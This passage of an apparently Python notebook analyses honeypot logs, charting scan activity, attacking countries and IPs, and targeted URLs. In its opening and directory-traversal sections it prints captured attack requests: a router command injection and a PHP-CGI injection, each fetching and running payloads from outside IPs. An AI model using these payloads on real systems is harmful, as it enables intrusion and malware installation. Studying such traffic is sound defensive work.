31%34%35%38%33%63%22%20%3e%3e%20%2e%31%33%31%34%35%38%33%63%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%31%33%31%34%35%38%33%63%22%20%3e%3e%20%2e%31%33%31%34%35%38%33%63%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%31%33%31%34%35%38%33%63%2e%73%68%3b%2e%2f%2e%31%33%31%34%35%38%33%63%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31 1 POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1033\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%61%35%31%36%36%65%32%36%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%61%35%31%36%36%65%32%36%20%68%74%74%70%3a%2f%2f%32%31%31%2e%32%34%2e%31%35%2e%31%38%36%3a%33%32%30%30%22%20%3e%3e%20%2e%61%35%31%36%36%65%32%36%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%61%35%31%36%36%65%32%36%22%20%3e%3e%20%2e%61%35%31%36%36%65%32%36%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%61%35%31%36%36%65%32%36%22%20%3e%3e%20%2e%61%35%31%36%36%65%32%36%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%61%35%31%36%36%65%32%36%22%20%3e%3e%20%2e%61%35%31%36%36%65%32%36%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%61%35%31%36%36%65%32%36%2e%73%68%3b%2e%2f%2e%61%35%31%36%36%65%32%36%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31 1 POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1\r\nConnection: close\r\nContent-Length: 160\r\nContent-Type: application/x-www-form-urlencoded\r\nHost: www.www.www.www\r\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25\r\n\r\n<?php\n system(" id;killall .klogd;cd /var/tmp;rm -rf ...;mkdir ...;cd ...;wget http://82.141.104.123/ispconfig/temp/.../.../x.tgz;tar xvfz x.tgz;./.klogd "); ?> 1 dtype: int64
Look for attempts that potentially contain directory traversal.
glastopf_df[glastopf_df['request_raw'].str.contains('\.\.')]['request_raw'].value_counts()
POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1\r\nConnection: close\r\nContent-Length: 160\r\nContent-Type: application/x-www-form-urlencoded\r\nHost: www.www.www.www\r\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25\r\n\r\n<?php\n system(" id;killall .klogd;cd /var/tmp;rm -rf ...;mkdir ...;cd ...;wget http://82.141.104.123/ispconfig/temp/.../.../x.tgz;tar xvfz x.tgz;./.klogd "); ?> 1 dtype: int64
Total events over time
import matplotlib.pyplot as plt
plt.plot(attacker_df['attackerIP'].resample("D", how='count'), label="Total Events")
plt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)
plt.show()
Port activity over time (for ports lower than 10000).
attacker_df['victimPort'] = attacker_df['victimPort'].astype(int)
for port in attacker_df['victimPort'].value_counts().index:
if port < 10000:
plt.plot(attacker_df[attacker_df == port]['victimPort'].resample("D", how='count'), label=str(port))
plt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)
plt.show()
Non-Amun honeypot traffic and their associated ports.
tempdf = attacker_df[attacker_df['channel'] != 'amun.events']
for port in tempdf['victimPort'].value_counts().index:
plt.plot(tempdf[tempdf == port]['victimPort'].resample("D", how='count'), label=str(port))
plt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)
plt.show()
Honeypot activity over time by honeypot type.
for channel in attacker_df['channel'].value_counts().index:
plt.plot(attacker_df[attacker_df['channel'] == channel]['channel'].resample("D", how='count'), label=channel)
plt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)
plt.show()
Individual honeypot activity over time.
for ident in attacker_df['ident'].value_counts().index:
channel = attacker_df[attacker_df['ident'] == ident]['channel'].tolist()[0]
a = channel.split('.')[0]
plt.plot(attacker_df[attacker_df['ident'] == ident]['ident'].resample("D", how='count'), label=a)
plt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)
plt.show()
Just the glastopf honeypot activity over time.
for ident in attacker_df['ident'].value_counts().index:
channel = attacker_df[attacker_df['ident'] == ident]['channel'].tolist()[0]
a = channel.split('.')[0]
if a != 'amun':
plt.plot(attacker_df[attacker_df['ident'] == ident]['ident'].resample("D", how='count'), label=a)
plt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)
plt.show()
Removed the most active attacker IP to look at how the rest of the top 10 behaved.
for ip in attacker_df['attackerIP'].value_counts().index[1:10]:
plt.plot(attacker_df[attacker_df['attackerIP'] == ip]['attackerIP'].resample("D", how='count'), label=ip)
plt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)
plt.show()
It's possible to not only look at the top 20 countries hitting the honeypots, but other queries can be combined with the GeoIP info to get a different view on how information is laid out.
attacker_df['attackerCountry'].value_counts()[:20]
China 55444 United States 20419 Taiwan 4640 Singapore 2395 Sweden 1854 Russian Federation 692 Germany 586 Netherlands 537 Turkey 532 Korea, Republic of 440 Ukraine 323 India 222 Canada 181 France 158 Poland 156 Israel 138 United Kingdom 131 Brazil 124 Barbados 106 Iran, Islamic Republic of 100 dtype: int64
Below is a snapshot of all the countries that hit the honeypots with shellshock requests.
glastopf_df[glastopf_df['request_raw'].str.contains('};')]['attackerCountry'].value_counts()
Russian Federation 395 Germany 126 Sweden 98 Brazil 20 China 16 Taiwan 12 United States 5 Lithuania 3 Singapore 2 Turkey 2 India 1 Italy 1 dtype: int64
One of the things you can learn from a URL is the types of vulnerabilites people are scanning for.
glastopf_df['request_url'].value_counts()
/ 195 /tmUnblock.cgi 118 /manager/html 96 /phpmyadmin/scripts/setup.php 66 /etc/lib/pChart2/examples/index.php 14 //web/phpMyAdmin/scripts/setup.php 12 //typo3/phpmyadmin/scripts/setup.php 12 //phpMyAdmin-3.0.1.0-english/scripts/setup.php 9 //phpMyAdmin3/scripts/setup.php 9 //phpMyAdmin2/scripts/setup.php 9 //cpphpmyadmin/scripts/setup.php 9 //cpanelphpmyadmin/scripts/setup.php 9 //phpMyAdmin-3.0.0-rc1-english/scripts/setup.php 9 /muieblackcat 9 //phpMyAdmin-3.0.0.0-all-languages/scripts/setup.php 9 ... /cgi-bin/finger.cgi 1 /mysql-admin/scripts/setup.php 1 /phpMyAdmin-2.6.0/scripts/setup.php 1 /cgi-bin/ratlog.cgi 1 /phpMyAdmin-2.7.0-rc1/scripts/setup.php 1 /cgi-bin/pagelog.cgi 1 /phpMyAdmin-2.5.5-rc1/scripts/setup.php 1 /cgi-bin/gH.cgi 1 /cgi-bin/perlshop.cgi 1 /cgi-bin/admin.plHTTP/1.0 1 /cgi-bin/moin.cgi 1 /cgi-sys/addalink.cgi 1 /cgi-bin/maillist.cgi 1 /cgi-bin/netpad.cgi 1 /phpMyAdmin-2.6.4-rc1/scripts/setup.php 1 Length: 615, dtype: int64
Some exploration around scanning for phpMyAdmin.
glastopf_df[glastopf_df['request_raw'].str.contains('phpMyAdmin')]['request_url'].value_counts().head(20)
//web/phpMyAdmin/scripts/setup.php 12 //phpMyAdmin2/scripts/setup.php 9 //phpMyAdmin-3.0.0.0-all-languages/scripts/setup.php 9 //phpMyAdmin-2.11.1-all-languages/scripts/setup.php 9 //phpMyAdmin-3.0.0-rc1-english/scripts/setup.php 9 //phpMyAdmin3/scripts/setup.php 9 //phpMyAdmin-3.0.1.0-english/scripts/setup.php 9 //phpMyAdmin-2/scripts/setup.php 3 /phpMyAdmin/scripts/setup.php 3 //phpMyAdmin/scripts/setup.php 3 //phpMyAdmin-3.4.3.1/scripts/setup.php 2 //phpMyAdmin-2.11.1.1/scripts/setup.php 2 //phpMyAdmin-2.9.0-rc1/scripts/setup.php 2 //phpMyAdmin-2.8.5/scripts/setup.php 2 //phpMyAdmin-2.8.3/scripts/setup.php 2 //phpMyAdmin-2.6.4-pl4/scripts/setup.php 2 //phpMyAdmin-3.1.2.0-english/scripts/setup.php 2 //phpMyAdmin-2.7.0-rc1/scripts/setup.php 2 //phpMyAdmin-2.6.4-pl3/scripts/setup.php 2 //phpMyAdmin-2.10.0.0/scripts/setup.php 2 dtype: int64
len(glastopf_df[glastopf_df['request_raw'].str.contains('phpMyAdmin')]['attackerIP'].unique())
10
for ip in glastopf_df[glastopf_df['request_raw'].str.contains('phpMyAdmin')]['attackerIP'].unique().tolist():
print "%s - %s" %(ip, glastopf_df[glastopf_df['attackerIP'] == ip]['attackerCountry'].unique())
198.12.87.152 - ['United States'] 104.192.103.3 - [None] 101.69.247.10 - ['China'] 184.154.169.194 - ['United States'] 89.248.171.2 - ['Netherlands'] 222.175.241.131 - ['China'] 69.174.245.163 - ['United States'] 69.175.60.90 - ['United States'] 175.122.253.28 - ['Korea, Republic of'] 93.174.93.177 - ['Netherlands']
Setup and exploration to see if any attackers were seen across multiple honeypots, this might indicate Internet wide scanning.
honeymap = {}
for ident in set(attacker_df.ident.tolist()):
honeymap[ident] = {}
honeymap[ident]['channel'] = list(set(attacker_df[attacker_df['ident'] == ident]['channel'].tolist()))[0]
honeymap[ident]['ip'] = list(set(attacker_df[attacker_df['ident'] == ident]['victimIP'].tolist()))[0]
for ip in set(attacker_df['attackerIP'].tolist()):
ids = set(attacker_df[attacker_df['attackerIP'] == ip]['ident'].tolist())
if len(ids) > 1:
temp = []
for i in ids:
temp.append(honeymap[i]['ip'] + ':' + honeymap[i]['channel'])
temp = set(temp)
if len(temp) > 3:
print "%s seen across %d honeypots (%s) with %d connections" %(ip, len(temp), ", ".join(temp), attacker_df[attacker_df['attackerIP'] == ip].shape[0])
192.3.45.107 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 14 connections 125.64.35.67 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 41 connections 95.211.168.135 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 4 connections 178.218.210.59 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 399 connections 71.6.135.131 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 13 connections 117.21.173.140 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 146 connections 193.174.89.19 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 13 connections 117.21.173.155 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 24 connections 171.221.246.27 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 5 connections 66.240.236.119 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 26 connections 123.151.149.222 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 9 connections 198.20.69.74 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 46 connections 146.185.251.100 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 4 connections 66.240.192.138 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 28 connections 209.126.230.71 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 4 connections 222.186.56.88 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 14 connections 117.21.191.206 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 86 connections 65.207.23.201 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 12 connections
How does a specific attacker scan across various honeypot types?
#178.218.210.59
for ident in attacker_df[attacker_df.attackerIP == '178.218.210.59']['ident'].value_counts().index:
channel = attacker_df[attacker_df['ident'] == ident]['channel'].tolist()[0]
a = channel.split('.')[0]
plt.plot(attacker_df[attacker_df['ident'] == ident]['ident'].resample("D", how='count'), label=a)
plt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)
plt.show()
What are they looking for?
glastopf_df[glastopf_df.attackerIP == '178.218.210.59'].request_url.value_counts()
/cgi-bin/w3mman2html.cgi 2 /cgi-bin/test-cgi 2 / 2 /cgi-bin/php.cgi 2 /cgi-sys/defaultwebpage.cgi 2 /cgi-bin/csSearch.cgi 1 /sys-cgi 1 /cgi-bin/robadmin.cgi 1 /cgi-bin/pagelog.cgi 1 /sample02.cgi 1 /cgi-bin/ezshopper/search.cgi 1 /cgi-bin///admin.html 1 /cgi-bin/cbmc/forums.cgi 1 /cp/rac/nsManager.cgi 1 /cgi-bin/way-board.cgi 1 ... /cgi-sys/mchat.cgi 1 /main.cgi 1 /cartcart.cgi 1 /csPassword.cgi 1 /cgi-bin/addbanner.cgi 1 /cgi-sys/realsignup.cgi 1 /cgi-bin/mail/emumail.cgi 1 /infosrch.cgi 1 /cgi-bin/ttawebtop.cgi/HTTP/1.0 1 /cgi-bin/survey.cgi 1 /cgi-bin/viewcvs.cgi 1 /enter_bug.cgi 1 /siteUserMod.cgi 1 /cgi-bin/hello 1 /cgi-bin/csLiveSupport.cgi 1 Length: 392, dtype: int64
Are there countries that are active at the same time across the various honypots? The more red a square is the more the countries are correlated.
cols = ['channel','timestamp','attackerIP','victimPort','attackerCountry','ident','victimIP']
adf = pd.DataFrame()
adf = adf.append(amun_df[cols], ignore_index=True)
adf = adf.append(glastopf_df[cols], ignore_index=True)
subset = adf[['timestamp','attackerCountry']]
subset['count'] = 1
subset = subset.set_index('timestamp')
pivot = pd.pivot_table(subset, values='count', index=subset.index, columns=['attackerCountry'], fill_value=0)
grouped = pivot.groupby([(lambda x: x.month), (lambda x: x.day)]).sum()
topN = subset['attackerCountry'].value_counts()[:20].index
corr_df = grouped[topN].corr()
import statsmodels.api as sm
corr_df.sort(axis=0, inplace=True) # Just sorting so exploits names are easy to find
corr_df.sort(axis=1, inplace=True)
corr_matrix = corr_df.as_matrix()
pylab.rcParams['figure.figsize'] = (10.0, 10.0)
sm.graphics.plot_corr(corr_matrix, ynames=corr_df.index.tolist(), xnames=corr_df.columns.tolist())
plt.show()
What the time series for the correlated countries looks like.
pylab.rcParams['figure.figsize'] = (14.0, 6.0)
print grouped[['France','Germany','Russian Federation']].corr()
grouped[['France','Germany','Russian Federation']].plot()
pylab.ylabel('Probes')
pylab.xlabel('Date Scanned')
attackerCountry France Germany Russian Federation attackerCountry France 1.000000 0.743756 0.802583 Germany 0.743756 1.000000 0.538658 Russian Federation 0.802583 0.538658 1.000000
<matplotlib.text.Text at 0x1109c47d0>
Same as above, except this time at the IP level. With this you can see amazon scanning part of their own infrastructure.
cols = ['channel','timestamp','attackerIP','victimPort','attackerCountry','ident','victimIP']
adf = pd.DataFrame()
adf = adf.append(amun_df[cols], ignore_index=True)
adf = adf.append(glastopf_df[cols], ignore_index=True)
subset = adf[['timestamp','attackerIP']]
subset['count'] = 1
subset = subset.set_index('timestamp')
pivot = pd.pivot_table(subset, values='count', index=subset.index, columns=['attackerIP'], fill_value=0)
grouped = pivot.groupby([(lambda x: x.month), (lambda x: x.day)]).sum()
topN = subset['attackerIP'].value_counts()[:20].index
corr_df = grouped[topN].corr()
import statsmodels.api as sm
corr_df.sort(axis=0, inplace=True) # Just sorting so exploits names are easy to find
corr_df.sort(axis=1, inplace=True)
corr_matrix = corr_df.as_matrix()
pylab.rcParams['figure.figsize'] = (10.0, 10.0)
sm.graphics.plot_corr(corr_matrix, ynames=corr_df.index.tolist(), xnames=corr_df.columns.tolist())
plt.show()
pylab.rcParams['figure.figsize'] = (14.0, 6.0)
print grouped[['202.102.48.186','61.153.106.24','61.163.217.30','85.105.85.72','71.190.176.162','71.179.27.162']].corr()
grouped[['202.102.48.186','61.163.217.30','85.105.85.72','71.190.176.162','71.179.27.162']].plot()
pylab.ylabel('Probes')
pylab.xlabel('Date Scanned')
attackerIP 202.102.48.186 61.153.106.24 61.163.217.30 85.105.85.72 \ attackerIP 202.102.48.186 1.000000 0.443659 0.466142 -0.157855 61.153.106.24 0.443659 1.000000 -0.190381 -0.033950 61.163.217.30 0.466142 -0.190381 1.000000 -0.002035 85.105.85.72 -0.157855 -0.033950 -0.002035 1.000000 71.190.176.162 0.099815 -0.057815 -0.142057 -0.044815 71.179.27.162 0.118790 -0.060411 0.119807 -0.046827 attackerIP 71.190.176.162 71.179.27.162 attackerIP 202.102.48.186 0.099815 0.118790 61.153.106.24 -0.057815 -0.060411 61.163.217.30 -0.142057 0.119807 85.105.85.72 -0.044815 -0.046827 71.190.176.162 1.000000 0.480755 71.179.27.162 0.480755 1.000000
<matplotlib.text.Text at 0x114244ed0>